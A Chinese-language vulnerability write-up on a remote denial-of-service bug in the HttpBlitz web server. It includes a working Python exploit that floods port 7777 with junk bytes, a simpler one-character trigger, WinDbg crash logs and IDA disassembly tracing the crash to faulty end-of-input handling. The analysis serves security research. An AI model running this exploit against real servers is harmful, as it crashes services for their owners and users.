HTTPBLITZ远程拒绝服务漏洞

作者:k0shl 转载请注明出处:http://whereisk0shl.top


漏洞说明


软件下载:
https://www.exploit-db.com/apps/65ccbbf1b7620585fb76bd8daa3e53b7-HttpBlitz.msi

PoC:

import socket, sys
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  
junk = "\x41" * 80000
  
def banner():
    print "\nHttpBlitz DOS."
    print "By: otoy (otoy[at]digital-echidna[dot]org)\n"
  
      
if len(sys.argv)!=3:
        banner()
        print "Usage: %s <ip> <port>\n" %sys.argv[0]
        sys.exit(0)
  
try:
    s.connect((sys.argv[1], int(sys.argv[2])))
except:
    print "Can\'t connect to server!\n"
    sys.exit(0)
      
s.send(junk+'\r\n')
s.close()

测试环境:
Windows xp sp3

PoC需要输入参数,目标IP和端口,端口后续会提到,是7777,运行后会引发服务端崩溃,提前用Windbg附加进程,可以捕获到崩溃。


漏洞复现


此漏洞是由于HttpBlitz在处理端口接收到的数据时,对不合法数据处理时存在问题,从而导致拒绝服务,这里所说的不合法数据并非畸形字符串,而是不符合Http请求规则的数据都属于不合法数据,下面对此漏洞进行详细分析。

首先运行HttpBlitz,发现进程开了7777端口

我们也主要对这个端口运行的服务进行测试,将Windbg附加到进程上,运行PoC,程序崩溃。

eax=009ffa44 ebx=00000001 ecx=00000000 edx=ffffffff esi=009ffacc edi=009ffe80
eip=7c812aeb esp=009ffa40 ebp=009ffa94 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\windows\system32
\kernel32.dll - 
kernel32!RaiseException+0x52:
7c812aeb 5e              pop     esi

我们通过kb查看堆栈调用回溯漏洞发生前的函数调用情况。

0:001> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
009ffa94 7857df56 e06d7363 00000001 00000003 kernel32!RaiseException+0x52
*** ERROR: Module load completed but symbols could not be loaded for C:\Program 
Files\HttpBlitz\Src\HttpBlitz\Release\HttpBlitz.exe
009ffacc 004048df 009ffae4 00413f3c 38813959 MSVCR90!CxxThrowException+0x48
009ffbbc 004017a3 009ffbcc 38813875 00411f30 HttpBlitz+0x48df
009ffc70 00405972 00000020 38813f39 0012fe10 HttpBlitz+0x17a3
009ffcb0 7c9301bb 78583db8 00390000 00000000 HttpBlitz+0x5972
009ffcb4 78583db8 00390000 00000000 00000014 ntdll!RtlAllocateHeap+0x117
009ffcd4 78583eb8 00000014 71a22ba3 71a1150c MSVCR90!malloc+0x79
009ffcec 0040a85f 00000014 38813ea1 009fff0c MSVCR90!operator new+0x1f
009ffd34 0040a9db 009ffe58 000000a0 0012ff1c HttpBlitz+0xa85f
009ffd78 0040760a 009ffe78 38813e31 0012fe10 HttpBlitz+0xa9db
009ffdc4 004017ba 00000000 00000000 00000000 HttpBlitz+0x760a
00000000 00000000 00000000 00000000 00000000 HttpBlitz+0x17ba

实际上,这个拒绝服务的漏洞不在于数据的内容,而是在于整个程序对异常函数的处理产生了问题,从而导致的这个漏洞的发生,我就从这个函数对此漏洞进行分析。


漏洞分析


首先,我进入CxxThrowException函数之前的主程序领空,通过IDA pro对主程序领空调用位置的函数进行分析。

void __cdecl __noreturn sub_404880(int a1)
{
  int v1; // eax@1
  char v2; // [sp+8h] [bp-D4h]@2
  int v3; // [sp+D8h] [bp-4h]@1

  v1 = sub_4050E0();
  v3 = 0;
  sub_405120(v1);
  CxxThrowException(&v2, &unk_413F3C);
}

sub_404880函数是一个noreturn类型的函数,也就是说,当进入CxxThrowException对异常进行处理后,程序将直接结束流程,而不会回到程序,这就是此程序设计最失败的地方,那么什么地方对传输数据的合法性进行判断,我继续向外层函数跟踪。

.text:00401780                 mov     edx, [eax+4]
.text:00401783                 mov     eax, [eax]
.text:00401785                 push    edx
.text:00401786                 push    eax
.text:00401787                 lea     ecx, [esp+6Ch+var_60]
.text:0040178B                 push    ecx
.text:0040178C                 call    sub_401370
.text:00401791                 lea     edx, [esp+64h+var_60]
.text:00401795                 push    edx
.text:00401796                 mov     [esp+68h+var_4], 0
.text:0040179E                 call    sub_404880

来到外层函数,看到call函数上下文,通过IDA pro对这段代码进行反编译,观察伪代码部分。

int __cdecl sub_401740(int a1)
{
  int result; // eax@1
  char v2; // [sp+4h] [bp-60h]@2
  int v3; // [sp+60h] [bp-4h]@3

  result = a1;
  if ( *(_DWORD *)a1 != 0 ? (unsigned int)nullsub_1 : 0 )
  {
    sub_401370(&v2, *(_DWORD *)a1, *(_DWORD *)(a1 + 4));
    v3 = 0;
    sub_404880((int)&v2);
  }
  return result;
}

在sub_401740函数部分进行了一次if语句判断,如果符合条件,则会进入sub_404880函数,而这个函数就是noreturn类型的异常处理函数,接下来我们正向动态跟踪。

事实上,程序对于接收数据的判断结束后,如果进入异常处理流程都会出现这种问题,在原先的PoC中。

junk = "\x41" * 80000
s.send(junk + '\r\n')

发送了80000长度的A作为畸形字符串,而我在测试时发现,如果改成

s.send(' \r\n')

只发送一个空格,或者任意一个字符,甚至不加空格,仍然可以触发这个拒绝服务漏洞,因此,只要是一个非法数据,那么就会引起进程崩溃,我在处理函数sub_401740外层找到了如下代码。

.text:0040562D                 push    eax
.text:0040562E                 push    0
.text:00405630                 lea     eax, [esp+48h+var_1C]
.text:00405634                 mov     ecx, edi
.text:00405636                 call    sub_4052C0
.text:0040563B                 lea     ecx, [esp+40h+var_24]
.text:0040563F                 push    ecx
.text:00405640                 call    sub_401740

在00405640地址位置会调用到sub_401740函数,在00405640下断点,重新附加进程,将PoC修改成 s.send(' \r\n') 发送后F5直接运行程序,调试记录如下

0:002> bp 00405640
0:002> g
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd4c edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff      call    HttpBlitz+0x1740 (00401740)
0:001> g
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd14 edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff      call    HttpBlitz+0x1740 (00401740)
0:001> g
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd14 edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff      call    HttpBlitz+0x1740 (00401740)
0:001> g
Breakpoint 0 hit
eax=00000000 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd14 edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff      call    HttpBlitz+0x1740 (00401740)
0:001> g
(684.a30): C++ EH exception - code e06d7363 (first chance)
(684.a30): C++ EH exception - code e06d7363 (!!! second chance !!!)
eax=009ffa44 ebx=00000001 ecx=00000000 edx=ffffffff esi=009ffacc edi=009ffe80
eip=7c812aeb esp=009ffa40 ebp=009ffa94 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\windows\system32\kernel32.dll - 
kernel32!RaiseException+0x52:
7c812aeb 5e              pop     esi

可以看到4次调用后到达漏洞位置,实际上00405640地址位置的call调用是每次接收一个字节,判别后会返回继续处理,而最后一位是\0,因此造成了异常处理,接下来将PoC改成原本的PoC,调试记录如下

(654.8d0): Break instruction exception - code 80000003 (first chance)
eax=7ffd7000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005
eip=7c92120e esp=003fffcc ebp=003ffff4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000246
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\windows\system32\ntdll.dll - 
ntdll!DbgBreakPoint:
7c92120e cc              int     3
0:002> bp 00405640
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\HttpBlitz\Src\HttpBlitz\Release\HttpBlitz.exe
0:002> g
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd4c edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff      call    HttpBlitz+0x1740 (00401740)
0:001> g
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd4c edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff      call    HttpBlitz+0x1740 (00401740)
0:001> g
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd4c edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff      call    HttpBlitz+0x1740 (00401740)
0:001> g
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd4c edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff      call    HttpBlitz+0x1740 (00401740)
0:001> g
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd4c edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff      call    HttpBlitz+0x1740 (00401740)
0:001> g
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd4c edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff      call    HttpBlitz+0x1740 (00401740)
0:001> g
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd4c edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff      call    HttpBlitz+0x1740 (00401740)
0:001> g
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd4c edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff      call    HttpBlitz+0x1740 (00401740)
0:001> g
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd4c edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff      call    HttpBlitz+0x1740 (00401740)
0:001> g
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd4c edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff      call    HttpBlitz+0x1740 (00401740)
0:001> g
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd4c edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff      call    HttpBlitz+0x1740 (00401740)
0:001> g
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd4c edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff      call    HttpBlitz+0x1740 (00401740)
0:001> g
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd4c edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff      call    HttpBlitz+0x1740 (00401740)

这里调试没有结束,只是以此证明程序这里是单独对字符进行读取,然后判断是否结尾,但对结尾的判断处理存在问题,也就是在if语句中。

  if ( *(_DWORD *)a1 != 0 ? (unsigned int)nullsub_1 : 0 )

导致不能正确处理结尾,进入异常处理,引发程序拒绝服务漏洞。

Comments
Write a Comment